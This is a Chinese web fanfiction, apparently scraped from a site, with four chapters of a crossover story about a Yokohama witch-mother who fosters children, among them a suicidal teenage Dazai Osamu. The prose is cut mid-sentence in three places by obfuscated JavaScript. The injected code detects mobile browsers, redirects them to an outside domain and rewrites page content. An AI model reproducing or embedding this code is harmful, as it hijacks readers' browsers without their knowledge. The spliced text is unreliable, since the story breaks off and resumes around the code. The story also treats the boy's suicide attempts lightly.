《单身离异带仨娃》 1. 第 1 章 三月中,空气中还有丝丝凉意。 春季的到来并不会平息横滨街头的硝烟,大部分人的日子仍然在心惊胆战中度过。 但春风不会在意人类的争端,她再次如约而至。 一夜春风拂过,清晨再看,路边的樱花树已经结了大大小小的花苞,在褐绿嫩叶陪衬下颇为醒目,只待某一日突然盛放。 下班回家的男人拖着疲惫的步伐走在回家的路上,像往常一样,他一边走一边欣赏着夕阳照映下的鹤见川。 跃动着红色鳞波的河面那样美丽,承载着他枯燥生活中为数不多的闲情逸致。 然后,他再一次看见了河堤旁的樱花树下穿着浅色和服女人的背影。 记不清这是第几次了,最近这些日子里他总能看见她在树下的身影。 她一直站在那里,背对着这边,面向河面,从早到晚一动不动地站在那棵樱花树下。 不知是在等什么,也不知是在盼谁。 ——可是鹤见川里有什么呢? 男人打了个冷颤。 随着港口黑手党首领的日渐疯狂,横滨的形势动荡不安,每日都有大大小小的火拼在街头发生。 鲜血,硝烟,尸体。 不是每个惨死街头的人都会有亲朋好友为他痛哭流涕,那些无人收殓的尸骨如何了呢? 鹤见川仍然美丽,奔流的河水下是无数断臂残躯。 有风吹过,一朵早开的樱花飘落在女人头上。 女人的背影还在原地一动不动,只是衣摆被风抚起,随风飘动。 樱花树下的诡异女子…… 男人咽了口唾沫,感觉一股凉意从脚底板窜起。 那个女人在等的,会不会是她惨死的丈夫的鬼魂…… 还是说,她…… 男人不敢再往下想,收回目光盯着脚下的路,目不斜视地小跑回家。 之后的一段时间里,他大概都不会走这条路了。 ———— “啊啾!啊啾!” 淡岛青理拿出手帕,用力擦了擦鼻子,又拢了一下和服的衣领,纤细的柳眉狠狠皱成一团。 一想二骂三惦记,有人在骂她! 这么想着,她自己先忍不住笑了。 想她死的家伙能从家门口排到十一个空间域之外,有人骂她实在太正常不过了。 作为魔女协会前追猎科首席执行人,红魇魔女,雾隐红海之主,斩空银月……名号太多念不完,总之,从前的淡岛青理可谓风光无限。 只可惜好汉不提当年勇,现在的她只是一个判出协会后被老东家通缉,力量衰退不得不在小世界间辗转躲避追杀的可怜人罢了。 她扭动了一下僵硬的脖子,见四下无人,赶紧活动了一下身体,拳打脚踢的一阵乱挥,骨骼关节噼啪作响。 为了维持自己的外在形象,给每个过路人展现自己最美的一面,她精心挑选了这个绝佳的地点,摆出了最娴静优雅的姿势,保证无论从哪个方向看过来她都美得像一幅画! 代价就是骨头都站僵了。 波光粼粼的河面今天也很平静,又是毫无收获的一天。 毛色纯白的大狗趴在河边晃了晃尾巴,似乎是表示对她的附和。 一阵悠扬的歌声打破了她的感慨,她从和服的腰带中抽出手机,小心翼翼地接通了来电。 对面先是一阵沉默,然后传来一个少年冷淡且无奈的声音。 “……究竟是什么菜需要你一买一整天?” “哈哈……那个……” “你在哪?” 淡岛青理只好报出了自己的位置。 片刻后,穿着白色衬衫和灰色西裤的少年出现在鹤见川的河岸,身后还有一个银色卷发的小女孩。 伏黑惠看着眼前不省心的大人,面无表情地说:“不是跟你说了吗?横滨不安全,买完菜就请早点回去。” 他将女人打量了一番—— 手脚齐全,没有磕碰,连发型都和出门时一模一样,分毫不乱。 很好,活着。 但是…… “菜呢?” 啊这…… 只是拿买菜当借口的淡岛青理试图掩盖自己被抓包的心虚,笑着说:“路上遇见了流浪的猫猫,它们好可怜,就喂它们吃掉了。” 伏黑惠:…… 喂流浪猫吃生菜,这是动物保护协会看了要发律师函的程度吧? 她是笨蛋吗?还是当他是笨蛋? 伏黑惠心累地叹了口气,没有拆穿她蹩脚的谎言:“总之,很晚了,该回家了。” 他率先转身,示意女人跟上。 淡岛青理在他身后踢了踢脚尖,可是她还不想回家哎。 女人目光飘忽不定,与少年身后的小女孩对上了视线。 莉帕耸耸肩表示爱莫能助。 拜托,这个家里做饭的才有话语权,惹恼了惠她今晚和青理一起啃青菜吗? 淡岛青理彻底死心。 她跟在伏黑惠身后,思考着明天该用什么理由出门。 离开前,最后回头望了一眼鹤见川,橙红的河面依旧绚丽,就是好像混入了一点杂色…… 嗯? 淡岛青理停下脚步,看着那个随着水流逐渐漂近的身影,逐渐瞪大了眼睛…… “惠酱!我想要那个!” …… 随着一声惊雷,横滨今年的第一场春雨不请自来。 咖啡店里灯光昏暗,店员松本小姐擦完了最后一个甜品展示柜,把没有来得及卖出的甜品打包进包装盒。 因为突如其来的雨,也因为快到下班时间,店长决定提前打烊了。 “昨天天气预报还说会是晴天,结果突然就下起雨来了。” 店长大叔叹了口气,为下午稀薄的客流感到伤心。 这雨下得又大又急,路上行人都在急匆匆地往家赶。 “是罕见的大雨呢。”松本小姐一边感慨一边在收银台付账。 店长大叔以为她是想吃甜品了,大方地挥手表示不用付钱,拿去吃就行了,反正卖不出去也是浪费。 松本小姐笑着摆手:“不是啦,这些是我用店里的材料新做的。因为是要送人啦,总不好送卖剩下的东西。” 店长大叔闻言来了兴致:“是新交了男朋友吗?” “哪有那么快啦,其实是我家隔壁搬来了新邻居,想要去打一声招呼,听说是从东京搬来的呢。” “东京?怪人怪事,怎么会从好好的东京来这么个破地方?” “真是的,店长,横滨好歹也是国际港口都市,哪有你说得那么差嘛。” 松本小姐表示不赞同。 “哼,你们这些小年轻,见识太少。” 店长大叔点上一支烟开始发表高见:“横滨,政府不干事的地方,说什么港口都市,但是港口在谁手里大家都知道。现在那群黑手党越来越嚣张,要我说早晚得出事,到时候我这小店还能不能安稳地开着就得看老天爷的意思喽。” “店长就会说一些丧气话。” 松本小姐拒绝听大叔的高谈阔论,关掉收款机穿上外套,说:“我先走啦店长!” 撑起小花伞,步行三十分钟就到了她居住的住宅区。 隔壁原本荒废的庭院种上了花草,木质的院门敞开着。 这座二层小楼应该是被翻新过了,干净整洁。 院门前被挂上了带有主人家姓氏的门牌 ——淡岛。 雨还在下,但雨势逐渐减小,天空有放晴的趋势。 还是等雨彻底停了再来拜访吧。 松本小姐想给新邻居留一个好印象,因此力求礼数周全。 但还没等她挪动脚步,院子里就传来了开门的声音。 屋子的女主人轻轻推开家门,看见了院门口的松本小姐,微微有些惊讶。 “哦呀,是客人吗?” 松本小姐看呆了。 女人工工整整地穿了一件粉白色的和服,领口的襦绊规整地交叠着,合领不偏不倚恰在正中。腰封缠绕得一丝不苟,每一条线都是平齐的,带缔笔直的一条束在当中。 两手交叠垂在身前,墨色的长发整齐地盘起,发间插了几支银簪做点缀。她脚踩木屐,端正地站在门前,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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松本桃夕递出手里的甜品,说道:“这是我做的甜品,希望您能喜欢。” “是给我的吗?”女人受宠若惊,微微瞪大双眼接过纸袋,“非常感谢!” 继而似乎想起了什么,她变得手足无措:“糟糕了,我还没有准备给邻居的礼物,没办法回礼……” 松本桃夕急忙摆手,说:“没关系的,是我来得太突然了,您不用在意。那个……您原本是要出门吗?” “嗯……唉?!我的衣服!” 女人脸色一变,顾不上打招呼,惊慌失措地跑去院子一侧收衣服,边跑还边碎碎念:“糟了糟了,如果被小惠知道我忘记收衣服就完了!” 雨水的冲刷让通往屋侧的青石板路变得湿滑,女人跑得太急,不出所料地跌了一跤,手中的纸伞摔在了地上。 “淡岛夫人!”松本桃夕急忙上前把她扶起来,为她捡起油纸伞。 “您没事吧?” 女人捂着膝盖站起来,眼泪在眼底打转,却还是扯出一个笑容:“没事没事,我的衣服……” “我来帮您吧。”松本小姐拿过她脚边的衣篓,把衣架上已经被雨淋湿的衣服收进衣篓里。 忙完这一切,又扶着她送至屋门前。 刚刚还精致漂亮的夫人此时变得狼狈不堪,雨水顺着她额前的发丝滑落,弄脏了她的脸颊。原本干净的和服此时也变得凌乱,尤其是膝盖处还带着泥水。 这副样子与刚刚初见时大相径庭,松本小姐哭笑不得。淡岛夫人,意料之外的冒失啊。 女人站在门前,顾不上自己的狼狈,对着她谢了又谢,热情地邀请她留下来做客。 “今天就不打扰了,”松本桃夕摆手,“您家里还有孩子要照顾,想来是不方便的,我改日再来拜访。” “松本小姐……”女人感动到发出两声泣音。 她说:“今天让你看笑话了,改天我一定会上门拜访的。” 两人告了别,松本桃夕撑着伞在雨中离去。 她对新邻居格外满意。 淡岛青理目送她的身影消失,也转身进了门。 门内亮着暖黄色的灯光,经典和式风格的玄关处凌乱地摆着几双鞋子。 她脱掉被弄脏的鞋袜,换了一双白色的棉拖鞋,然后一瘸一拐地向茶室走去。 推开茶室的纸拉门,最先看见的是摆在榻榻米上的一床被褥。 被子被掀开,本应躺在上面的人不见了。 2. 第 2 章 少年醒来的时候,发现自己躺在一个陌生的屋子里。 他颤抖了几下眼皮,费力地睁开眼,受到灯光刺激的眼睛从眼角滑下几滴泪水。 天花板的吊灯散发着暖黄色的光芒,身下柔软蓬松的被褥带着太阳晒过的味道。 他眨眨眼睛,逐渐清醒。 被人救上来了吗?还真是遗憾。 他慢慢坐起身打量四周。 房间是非常传统的和式风格,浅色的榻榻米铺满地面,水蓝色的推拉门半开着。 榻榻米的正中间摆放着一张低矮的茶桌,桌上是一套进口的青花瓷茶具,其中一只杯子还冒着热气。 这里应该是位于屋子正中的一个和室,三面浅色的墙壁上没有窗户,只挂着几幅长长的卷轴画,墙角处摆放着一盆野蛮生长的南天竹。 很奇怪。 熟悉的装修布局,熟悉的风格,却没有熟悉的压抑。 那些曾经如影随形的,挤压着他的胸膛的,让他几乎窒息的淤泥,不见踪影。 这是他第一次觉得,原来传统的和式风格也可以是温暖而自由的。 嗓子像生吞淬了火的刀片一样疼,他试着张了张嘴,发不出一点声音。于是坐在被子里伸长了身子去够桌上的茶水,却牵动了肩膀的伤口,引起一阵钻心的疼。 那是被一块埋在河床中的尖锐巨石划出的伤口,如今被人仔细地包扎过,雪白的绷带还带着伤药味,但经过他刚才的一番动作,已经有红色逐渐渗透出来。 少年没有在意,仍然用指尖去勾茶盏,终于将那盏茶水拿到手。 喝了杯茶,感觉喉咙和身体都好多了。 他挣扎着站了起来,没有熟悉的束缚感传来。 身上的绷带都被拆掉了,除了还没愈合的伤口上的。 衣服也被人换成了一件蓝色的男士浴衣。 他走出半开的推拉门,开始探索这栋房屋。 房屋的装修看起来有些年头了,有些地方的地板都有些微微泛黄,但屋子里的生活痕迹却不多,主人家似乎才搬进来不久。 走到玄关,门口的走廊还摆着一些没有整理好的堆叠的纸箱。 这里温度比别处低一些,门口的地板上还有些水渍。 有人刚刚在门口站立过。 继续前走,透过走廊的窗户,能看见庭院里有两个人。 只是雨水糊满了窗户,让人看不真切。 少年没有停留,继续在房子里漫步。 茶室,客厅,厨房,餐厅,盥洗室……最后他的脚步停在了通往二楼的楼梯上。 二楼似乎是卧室和书房。 肩膀上的伤口火辣辣地疼,长时间不曾进食的身躯向他发表抗议,眼前传来一阵阵眩晕和昏暗。 少年没有再继续前进,而是扶着把手在楼梯上慢慢坐了下来。 淡岛青理一瘸一拐地找过了厨房,餐厅,客厅等地方,都没发现从河里救上来的少年的身影。 但是她并不着急,她知道那孩子还在这栋住宅内。 “去哪里了?”她表面焦急实则漫不经心地寻找着。 真是的,像只野猫,一个看不住就不见了。 找遍了一楼都没有看见人影,她便打算去二楼找一找。刚走到楼梯口,便看见了坐在楼梯上的小少年。 黑发鸢眼的少年穿着蓝色的浴衣悄无声息地坐在楼梯上,黑发包裹下的脸庞还带着大病未愈的苍白,猫一样的圆眼中是一片灰暗,反射不出一点光。 淡岛青理一瞬间将他幻视成了养过的黑猫。 记不清多久之前,在她还是少女的时候,确实是养过一只猫的。 那只叫煤球的黑猫最喜欢不声不响地趴在柜顶,用灯泡一样的圆眼睛安静地看着铲屎官在屋子里四处搜寻它的身影。 被比作猫的少年也确实在审视楼下的女子。 女人有着一头乌黑的秀发和深灰色的眼睛,轮廓柔和,唇角上扬,显得单纯又无害。是符合大多数人审美的东方美人的长相。可是较为深邃的眉眼和挺翘的鼻梁似乎又表示她并不是纯粹的亚裔。 她穿着一件面料昂贵的和服,但是款式已经过时了,细看之下还能发现边缘轻微的磨损。 外面下着雨,她刚刚似乎跌了一跤,身形狼狈,眼泪还在眼眶里打着转。 这是一位家道中落,但仍然被保护得很好的夫人。 少年观察了她片刻,终于开口说话了。 “是你把我带回来的?”他声音沙哑,几乎发不准音。 这也难怪,他昏迷了整整四天,如果不是有人定时给他喂水,他现在无论如何也发不出声音。 淡岛青理没有回答他的问题,而是关切地说:“你昏迷了四天,一定饿了吧?惠在厨房留了热粥,一起去喝一点吧。” 少年没有说话,沉郁的目光静静地落在她身上。 淡岛青理没有等到他的回答,只能揣摩着他的意思,去厨房端了一小碗热粥捧到他面前。 少年垂眸望着温热的白粥,神色平静,分辨不出情绪。 最后他什么也没说,接过粥小口小口地喝了起来。 淡岛青理松了口气。 根据她养孩子的经验,还能吃东西就证明恢复得很好,很快就可以活蹦乱跳了。 她又去厨房端了一杯温水,然后走上楼梯坐在了少年身边,静静地陪着他。 碗里的粥下去了一小半,少年终于再次开口了。 “我叫,太宰治。” “太宰……治。”淡岛青理轻轻重复了一遍,然后温柔地说:“很高兴认识你,太宰君,我叫淡岛青理。” 名叫太宰治的少年又没了声音。 淡岛青理也没有催他,等这小碗粥见了底,少年再也不愿意多吃一口的时候,她接过碗,将水杯递了过去。 “太宰君是不是离家出走了?”她轻声询问。 太宰治动作顿了一下,微微抬眼,沉沉地望着她:“淡岛夫人是怎么知道的呢?” “是猜的啦。” 骗人的。 淡岛青理在心里说。 这个世界上,不会有人比她更了解这个少年的过去未来…… 女人的思绪顿了一下,严谨地加上了限定词——不会有活人比她更了解。 总之,她之所以搬来横滨,一部分原因就是为了太宰治。 为了抢在森欧外之前遇见少年,她每天找各种借口出门,在河边连续蹲守了七天。以防万一,她还在擂钵街挑起了几场小型械斗,为的就是用伤员拖住森鸥外。 对不起了森先生,先到先得。 淡岛青理手掌轻抵在脸侧,微微歪头,黑色的眼瞳微微向上似在回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740201|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆:“我曾经遇见过一个离家出走的孩子哦。我第一眼见到你,就觉得你和他很像。” 没等太宰治对她的话发表什么意见,她突然轻轻一合手,说:“如果太宰君没有去处的话,不如就暂时住在我这里吧。家里还有闲置的空房间,太宰君可以直接住进来。对了,还可以和其他孩子交朋友哦。” 太宰治的思绪在那个“和他很像”的评价上停驻了一秒,接着就被淡岛青理的话转移了注意力。 “其他?”太宰治没有对她的言论发表看法,只是咀嚼着这两个字。 “所以,把我从河里捞上来的是这个‘其他孩子’吗?” 在太宰治看来,眼前的女人身形瘦弱,抬手间露出的手臂上没有任何锻炼过的痕迹,不像能将他从河里拉上来并一路背回家的样子。 这个家里虽然没有成年男性的活动痕迹,但从玄关处摆放的鞋子判断,应当是有一男两女三个未成年。想来他身上的衣服也应该是那个未曾谋面的少年给换的。 他不动声色地分析着,轻轻喝了一口水。 女人温柔一笑,说“是的,是惠酱帮我把你打捞起来背回家的。这些天也是惠酱在照顾你,帮你换衣服,擦身体,处理伤口哦。” “噗——” 太宰治一口水喷了出去。 “哎?太宰君你怎么了?” 淡岛青理手忙脚乱地放下碗给太宰治拍背,结果没找准位置给他肩膀来了一掌。 “咳咳,咳咳咳!” 太宰治被呛得厉害,来不及哀悼自己逝去的清白之身,一边咳嗽一边还要试图阻止旁边的女人在自己的伤口上乱拍。 万幸走廊及时传来跑步声,一个留着海胆头的少年出现在楼梯下,一脸无语地向上望去。 他三步并作两步跨上台阶来到两人身旁,先把添乱的淡岛青理扒拉到一边,拿过太宰治手里水杯让她端着,接着递上手帕,并轻轻拍打他的背部。 很快,太宰治停止了咳嗽,眼眶泛红地打量新出现的少年。 淡岛青理丝毫没有被嫌弃的自觉,她双手捧在胸前,弯着眉眼真诚夸赞道:“惠酱,实在太可靠了!” 太宰治:…… 所以名叫惠但其实是个男的吗?这种事情早点说啊! 伏黑惠见情况控制住了,才终于来得及放下肩上沉重的书包,平静的表情透着一丝无奈:“我只离开了半天,为什么搞成这个样子,你身上的泥土又是怎么回事?” 他就知道,不能让淡岛夫人自己在家。 作为淡岛青理的养子,年仅十五岁的伏黑惠深知自己养母的不靠谱。 中午的时候津美纪给他发消息,让他帮忙把搬家时混进行李的夏装送回米花町去。 虽然对横滨的治安不放心,但搬来横滨的这半个多月家中还算平静,他想着只离开一会儿应该没有什么事,所以送完衣服后就在米花待了半天,接着放学的莉帕一起回来。 结果只是离开一个下午而已,淡岛夫人就给自己滚了一身泥。 当事人毫不在意地笑着摆手:“哎呀,不小心摔了一跤,小伤啦。” 伏黑惠情绪稳定,抬手一指让他们两个到茶室去。 淡岛青理乖乖听话,太宰治也一声不吭地跟在她身后。 不知道为什么,总之有种现在最好不要惹那个刺猬头少年的直觉。 3. 第 3 章 茶室的门开着,除了淡岛青理带回来的湿衣服和甜点,还多出来了一个银发金瞳的小女孩。 女孩只有七八岁的样子,穿着黑色带蕾丝边的小洋裙,银色的长卷发上绑着大大的黑色蝴蝶结。 听见脚步声,她淡定地端起茶杯喝了口茶,老神在在。 “莉帕,你回来了!”淡岛青理小跑两步蹲下抱住女孩,脸颊在她银色的卷发上轻轻蹭了蹭,“快看快看!太宰君醒了!” 她迫不及待地向女孩介绍走进来的少年。 被叫莉帕的女孩淡定地拍拍她的头将她推开,起身整理了一下衣裙,面对太宰治优雅地提起裙摆行了个礼。 “你好,我叫莉卡薇塔德菈·阿尔托莉丝,你可以叫我莉帕。” 女孩举止上礼数周全,但锐利的带着打量的视线,却显示出她对少年的到来并不是很欢迎。 从太宰治走进来的那一刻起,莉帕就一直在观察这个少年。 从微长的黑色发丝到布满伤痕的手指,从暗沉的眉眼到衣领中露出来的消瘦的锁骨。 ……被骗了,她绝对是被青理骗了。 莉帕咬了咬牙。 这小子一看就是个难缠的家伙,心眼加起来怕是比马蜂窝都多。 他只是站在那里,身上散发的阴郁就像冰冷的淤泥一样蔓延,带着一股熟悉的腐烂的气息。 只凭这一面,莉帕就断定这家伙是个大麻烦,并对淡岛青理执意要搬来横滨的举动产生了怀疑。 就说在米花住得好好的,为什么会突然决定搬来横滨,原来是另有目的。连续几天找借口去河边散心,其实是在蹲守这个小鬼吗?她是什么时候认识他的?又是怎么知道这个小鬼会出现在鹤见川的? 女孩眯着眼睛打量他,目光中带上了审视。 怀疑与警惕,这是太宰治最熟悉不过的目光。 在经历过淡岛青理温柔到恶心的目光洗礼后,他竟然在这种视线下诡异地感觉到了一丝安心。 少年漫不经心地抬起眼皮,瞥了一眼面前这个身高不足一米的小东西,然后抬起头目光平视扫视了一周,故作疑惑地说:“好像有谁在说话,但是看不见呢。” “什么?!”莉帕激动地跳了起来,额角几乎要具象化出一个十字路口。 是在嘲讽她吧?绝对是在嘲讽她吧!她就说这小子看起来就不像好人! “你这家伙在暗戳戳地说谁矮呢?!阴暗的小鬼!” “看不见!” “阴暗小鬼!” “看不见!” “阴暗小鬼!” 太宰治,莉帕:#=_=#盯—— 两人对视许久,都从对方身上感受到了犟种的气息,于是谁也不肯先认输。 “太宰君,莉帕——”淡岛青理表面上试图劝架,实则在心里很失礼地想—— 出现了,黑猫大战银渐层! 女人左右为难,不知道该拉谁,最后选择拿出手机先拍两张照片。 伏黑惠走进茶室,看见的就是少年和小女孩一动不动地对峙,不靠谱的大人拿着手机不断变换角度拍照的场景。 “……” 这副围观野猫打架的表情是要怎样啊,请把您的手机放下。 伏黑惠面无表情地从淡岛夫人手中抽走手机,平静地指挥:“请先去洗澡换身衣服,这里交给我。” 请不要围观野猫打架,小心被抓伤。 至于莫名其妙开始对峙的两人,他上前一手一个揪着衣领扭送到茶桌前。 两人被他拎在手里,仍然坚持互相瞪视,直到被放下来仍然一动不动。 伏黑惠额头青筋跳了跳,这个家里除了津美纪就没有一个让他省心的人了吗? 这场莫名其妙的对决以太宰治先坚持不住,趴在桌子上揉自己干涩的眼睛结束。 可恶,他输了,那个女孩竟然这么厉害! 银发萝莉赢得对决,趾高气扬,金色的眼睛没有半点不适,甚至还跃跃欲试地想再挑衅两句。 伏黑惠面无表情地叫了一声:“莉帕。” 银发萝莉周身的气势一滞,像一只漏了气的气球瘪了下来,两手放在膝盖上乖乖地坐好。 局势终于稳定下来,伏黑惠松了口气,对趴在桌子上的少年说:“莉帕还小,请不要和她计较。” 顿了顿,他率先自我介绍:“我叫伏黑惠,是淡岛夫人的养子。这是莉帕,淡岛夫人的女儿。” 几天前,伏黑惠和淡岛夫人在河边发现了这个少年。当时少年头朝下漂浮在水中,远远望去还以为是一团垃圾。淡岛夫人向来是喜欢捡孩子的,在她仿佛捡到宝了的催促声中,他将这个少年从河里拖上了岸。 少年身上没有任何可以证明身份的证件,拖拽间裸露在外的皮肤上布满各种伤痕,经过一系列急救仍然昏迷不醒。 他直觉这是个麻烦,想要将他送到附近的诊所就离开。但是淡岛夫人一脸哀怨,围在他身边打转,嘴里一直念叨着“不可以养吗?惠酱?真的不可以带回去养吗?” 虽然做事不着边际的大人很不靠谱,但说到底这个家还是淡岛夫人做主的。在她的软磨硬泡之下,伏黑惠也没办法拒绝,只能先将少年带了回来。 好在,在昏迷了四天之后,少年终于醒了。伏黑惠希望能尽快问清楚这个少年的来历和他家长的联系方式,然后把他送回到该去的地方。 虽然淡岛夫人经常捡孩子回来,但至少还没做出过强留别人家孩子的事情。 “家入小姐帮你检查过身体了,没什么大碍,如果你感觉有哪里不舒服,或者伤口疼,都可以告诉我。” 少年身上的伤疤很多,好在都是陈年旧伤,新的伤口只有肩膀上的一处。至于为什么昏迷了这么久,家入小姐说是长期营养不良和精神衰弱造成的。 伏黑惠不喜欢麻烦,但也不是那么不近人情,他想等少年养好伤后再送他离开。 可惜他的通融有人并不领情。 黑发鸢眼的少年发出夸张的惊讶声,趴在桌子上的脸侧过来,露出一只鸢色的眼睛,眼底透着恶意,“[惠]是女孩子的名字吧?难道说你其实是一个看起来像男生的女孩子吗?” 这家伙…… 伏黑惠轻皱了一下眉,意识到这个少年的性格比自己想象的恶劣。 不过他并没有太在意。这些年里淡岛夫人往家中捡过各色各样的人,比起那些醒来直接动手的,太宰治的挑衅就像奶猫伸出的爪子,不痛不痒。 “嘁……无聊的家伙。” 眼见伏黑惠神色未变,挑衅未成的太宰治收起暗暗伸出的利爪,重新变回了半死不活的样子。 淡岛青理在洗漱之后回到茶室,发现原本凌乱的茶室已经被收拾干净了,湿衣服也被拿走进行了妥善的处理。只是室内空空如也,几个孩子都不见了。 她略微思索后来到客厅,果然在这里见到了几个孩子。 客厅里一片宁静,伏黑惠刚刚收拾好屋子,此刻正翻着菜谱思考晚饭做些什么。见淡岛青理换好衣服走进来,他关心地问了一句摔伤怎么样了,疼不疼。 淡岛青理一听,眼泪立刻涌上来了。明明刚摔的时候也没觉得有多疼,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740202|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是现在伏黑惠一问,她立刻觉得浑身上下哪哪都痛,委屈得像路边被踹了一脚的狗。 “疼死了,惠酱,呜呜呜,膝盖摔破了……” 伏黑惠知道她的形容里夸张的成分居多,但还是动作迅速地从茶几下翻出医药箱给她膝盖的擦伤处涂药。 情况很危急,再不上药就看不出伤在哪儿了。 莉帕正坐在沙发角落里摆弄着一只白色兔子玩偶,随着一声轻响,她委屈地拖长了声音呼喊“惠,珍妮的眼睛松了——” 在得到伏黑惠马上修好的承诺后,女孩满意地低下头开始自娱自乐。 还是个半大少年的伏黑惠给养母上完药,又开始给妹妹缝玩偶,他穿着白色衬衫和黑色西裤盘腿坐在地毯上,熟练地拖出针线盒开始穿针引线。 而在此期间,身穿浴衣的太宰治一直趴在桌子上一动不动,听见淡岛青理进来也没有抬眼看一下。 “太宰君怎么样了?莉帕和惠都是好孩子,你们有没有好好相处?”淡岛青理柔声询问。 回答她的是面无表情的伏黑惠:“他刚刚试图把头埋在鱼缸里淹死自己,失败了,正在自闭。” 短短十几分钟,伏黑惠的忍耐力已经快要到极限了。 他从来没见过这么又丧又能折腾的人,说话欠打已经成了太宰治身上最微不足道的缺点。他诡异的行为让伏黑惠怀疑是不是捞上来的时候没把他脑子里的水控干。 你能明白那种一转身发现鱼缸边挂着一个人的惊悚感吗?不,你不明白!大概只有那几只在鱼缸里惊恐乱窜的鹦鹉鱼能与当时的伏黑惠感同身受! 正常人谁会想要淹死在鱼缸里啊!他不由得怀疑起太宰治出现在鹤见川中的缘由。 伏黑惠有预感,如果这家伙留下来,他未来的生活将永无宁日。必须尽快将他送走才行。 “不可以欺负小鱼,太宰君。”接到了伏黑惠告状的淡岛青理摆出了严肃的表情。 伏黑惠:…… 这是重点吗? 从他并没有什么表情的脸上看出了无语,淡岛青理想了想,又补充道:“而且鱼缸里的水很腥,不好喝的,到时候惠酱嫌弃到不想给你做人工呼吸可怎么办呀?” 伏黑惠握拳:本来也没有人想给他做人工呼吸! 太宰治闻言拍着桌子反驳:“才不要男人给我做人工呼吸!好恶心!” 按了按眉心平复呼吸,伏黑惠告诉自己那是病人,不能动手。 生活早已磨平了伏黑哥的棱角,他将兔子玩偶的红宝石眼睛缝好扯断缝纫线,边收拾针线边询问太宰治的来历。 家在哪里?家中有谁?有没有亲人的联系方式? 指望淡岛夫人主动问这些是不可能的,她只会装傻把人觅下。 深知养母秉性的伏黑惠生怕有一天会接到警察的通知,告诉他淡岛夫人因为诱拐未成年被抓去坐牢了。 “亲人?家?都没有哦。我入水就是为了自杀,如果不是伏黑君多管闲事,我大概已经到了黄泉比良坂呢。”太宰治漫不经心地回答。 一句话让伏黑惠沉默。 不要误会,伏黑惠并不是在因为太宰治的回答而感到愧疚。 这个世界上无亲无故的人很多,或者说,能被淡岛青理捡回来的人都有各自不如意的人生。他不像淡岛夫人一样有着泛滥的同情心,对于陌生人的经历他心中没有太多波澜。 他只是有些不敢回头,不敢去看淡岛夫人瞬间亮起的闪亮亮的双眼。 无亲无故,那不就刚好顺了淡岛夫人的意,可以名正言顺地把人留下来了吗?! 4. 第 4 章 伏黑惠感到有些头痛。 他并不是排斥淡岛夫人收养新的孩子,只是他有一种直觉,这个性格古怪的少年身上有着大麻烦。 看到希望的淡岛青理围在伏黑惠身边打转,一会儿给他捏肩一会儿给他捶腿,膝盖一点也不疼了。 被伏黑惠拒绝后就趴在桌边,圆溜溜的眼睛充满期待地盯着他:“惠酱,太宰君好可怜的,真的不可以留下他吗?惠酱不想要一个弟弟吗?津美纪一定会很高兴有新弟弟的!惠酱,惠酱……” 伏黑惠被念叨得头更痛了,感觉耳边有一百只蚊子在飞。 “啧,我知道了……”他无奈地说,“但至少要询问一下太宰君还有莉帕的意见吧?” 说话间,他用余光观察着沙发上女孩的表情。 如果淡岛夫人坚持的话,他当然是不会反对的,但莉帕会怎么想呢? 与他和津美纪不同,莉帕刚刚来到这个家里半年。 身为淡岛夫人的亲女儿却一直寄养在亲戚家里,回到淡岛夫人身边才半年,淡岛夫人就要收养别的孩子,莉帕会感到难过吗? 银发萝莉轻哼一声,不情不愿地说:“我没意见。” 尽管看这个小鬼百般不顺眼,但她知道其实她的意见并不重要。 青理想做的事,从来都没有人能阻止。 在几人讨论期间,太宰治已经直起了脊背。 他端正地坐在椅子上,双腿并拢,手掌落于膝盖,冷眼旁观两人的互动。 坦率一点说,这是在绝大多数家庭里都难得一见的温馨景象。 自称养子的黑发少年在这个家里有着不小的话语权,身为养母的女人反而在不断征求他的允许,而真正与女人有着血缘关系的女孩对此场景并无意见。 显而易见,少年在这个家里过得很好,他得到了足够多的关爱与纵容,多到有底气参与这个家的决策。 “太宰君怎么想的呢?要不要留下来?”淡岛青理看过来的目光中充满期待。 沙发的一角,莉帕虽然什么也没说,但目光移到了太宰治身上。 在众人的注视下平静地直起身,太宰治伸出手:“我的衣服呢?” 他身上只有一件薄浴衣,与室外的气温极为不衬。 他不在乎寒冷,但也不想引得路人侧目。 淡岛青理自顾自地将他的回应视为同意留下来,开心地说:“太宰君的衣服已经剪碎掉不能穿了,你可以先穿惠的衣服。他最近长身体,我买的好多衣服他还没穿就穿不下了……” 她嘴里一边絮絮叨叨,一边不知从哪里掏出一件灰色衬衫和米色长裤。 “太宰君今天就先穿这件,明天我们一起去买新衣服好不好?啊对了,还要新添一套被褥,你可以选自己喜欢的颜色,然后……” 太宰治打断了她。 “我说,”他面无表情,鸢色的眼中写满冷漠,“我似乎没有答应你什么吧?别自说自话啊。” 抛却或慵懒或搞怪的伪装,围绕在他周身的无形屏障终于显露身形。 往日的阴影再度袭来,阴霾又一次爬上了他的眼底。 难以理解的热情,毫无来由的关心。过去的十几年里,他早已经历过太多。那么,你又是想从我身上得到什么? 人类,他仍然看不明白这一种生物。 